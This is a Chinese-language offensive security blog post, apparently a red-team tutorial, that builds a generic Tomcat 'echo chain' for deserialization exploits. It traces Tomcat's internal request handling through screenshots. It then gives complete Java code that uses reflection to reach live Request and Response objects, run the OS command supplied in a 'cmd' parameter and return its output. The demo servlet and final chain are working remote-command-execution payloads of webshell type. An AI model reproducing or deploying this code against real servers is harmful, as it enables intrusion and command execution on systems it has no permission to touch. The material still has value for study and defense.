前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >tomcat通用回显链从0到1

tomcat通用回显链从0到1

原创
作者头像
红队蓝军
发布2022-03-25 10:35:22
4700
发布2022-03-25 10:35:22
举报
文章被收录于专栏:红队蓝军

Demo

代码语言:java
复制
package com.naihe;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;

@WebServlet("/cmd")
public class tomcat extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
            resp.getWriter().write(len);
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req,resp);

    }
}
0.png
0.png

当看到这里应该会有人回想,就这?不就是servlet加命令执行么,确实如此,但本文主要讨论的是在反序列化的情况下,如何进行数据回显,因为在反序列化漏洞中无法直接调用HttpServletRequest和HttpServletResponse,只能通过反射获取Request和Response中的内容,上面的代码只是为了方便我们去挖掘和分析Request和Response的传递过程,分析出一条回显链

这里的@WebServlet("/cmd")需要开注解路由,在web.xml配置如下

代码语言:html
复制
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    id="WebApp_ID" metadata-complete="false" version="4.0">
    <!-- metadata-complete取值为true,表示关闭注解支持 -->
    <!-- metadata-complete取值为false,表示启用注解支持 -->
</web-app>

分析流程

直接再index.jsp上下断点

1.png
1.png

可以看到Http11Processor中已经包含了request和response,可知道,再前面已经有其他类处理过了request和response将其内容传给Http11Processor,因此我们往前看Http11Processor内容从何而来

2.png
2.png

AbstractProcessorLight.process

3.png
3.png

AbstractProtocol$ConnectionHandler 在这里查看processor内容

4.png
4.png

现在我们看是processor是怎么赋值的 AbstractProtocol$ConnectionHandler

5.png
5.png

进入register方法 register方法大概就是生成一个RequestInfo对象然后再里面填充内容

6.png
6.png

这里我们看一下this.global是什么

7.png
7.png

可以看到是一个RequestGroupInfo类

8.png
8.png

进入RequestGroupInfo,可以看到有个processors,是存储RequestInfo对象得列表,接下来看看RequestInfo是什么

9.png
9.png

进入RequestInfo,发现里面有个Request,这是我们想要得那个Request么,跟进去看看

10.png
10.png

进入Request,发现居然没有继承HttpServletResponse,那这应该就不是我们要找的Request,那开发者不可能取一个完全没有关系得类名吧,这岂不是让其他程序员天天坐牢啊

11.png
11.png

通过网上得资料了解到这个Requests会调用getNote方法返回一个继承至 HttpServletResponse的Response类

12.png
12.png

这就是我们要的Response类

13.png
13.png

接下来我们分析setGlobalProcessor

14.png
14.png

就是把生成的自己添加到RequestInfo中

15.png
15.png

RequestInfo

16.png
16.png

上面如何获得Request已经分析完了,接下来我们分析如何让java加载上面的数据

我们只需要找到一个类会被tomcat自动加载 在tomcat源码中可以看到会调用service.addConnector,很明显会用到connector

17.png
17.png

进入Connector,可以发现ProtocolHandler里面存储的是Http11NioProtocol

18.png
18.png

下面就是一下继承关系

19.png
19.png
20.png
20.png

可以看到最终Http11NioProtocol还是继承自AbstractProtocol

21.png
21.png

这样一来就可以通过ProtocolHandler来存放我们之前的信息了 service只是一个接口,而StandardService才是其实现类,所以说service就是StandardService

22.png
22.png

因此我们只需要要获取StandardService就行了

而StandardService可以从WebappClassLoaderBase上下文类加载器中间接获取获取

WebappClassLoaderBase只能获取StandardContext,而回显入口为StandardService,因此我们需要使用ApplicationContext将其封装一遍,在进而获取StandardService

23.png
23.png

构造方法

24.png
24.png

standardService为Service的实现类

25.png
25.png

总结

26.png
26.png
27.png
27.png
28.png
28.png
29.png
29.png
30.png
30.png
31.png
31.png
32.png
32.png
33.png
33.png
34.png
34.png
35.png
35.png
36.png
36.png

回显链

代码语言:java
复制
package com.naihe;


import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;


@WebServlet("/demo")
public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
            
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);
            
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
            
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
            
            for (Class<?> declaredClass : declaredClasses) {

                if (declaredClass.getName().length()==52){
                    
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);
                    
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);


                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);

                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
                        
                        org.apache.catalina.connector.Response response = request1.getResponse();

                        String cmd = request1.getParameter("cmd");
                        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                        BufferedInputStream bis = new BufferedInputStream(is);
                        int len;
                        while ((len = bis.read())!=-1){
                            response.getWriter().write(len);
                        }
                    }
                }
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

}
37.png
37.png

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Demo
  • 分析流程
  • 总结
  • 回显链
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档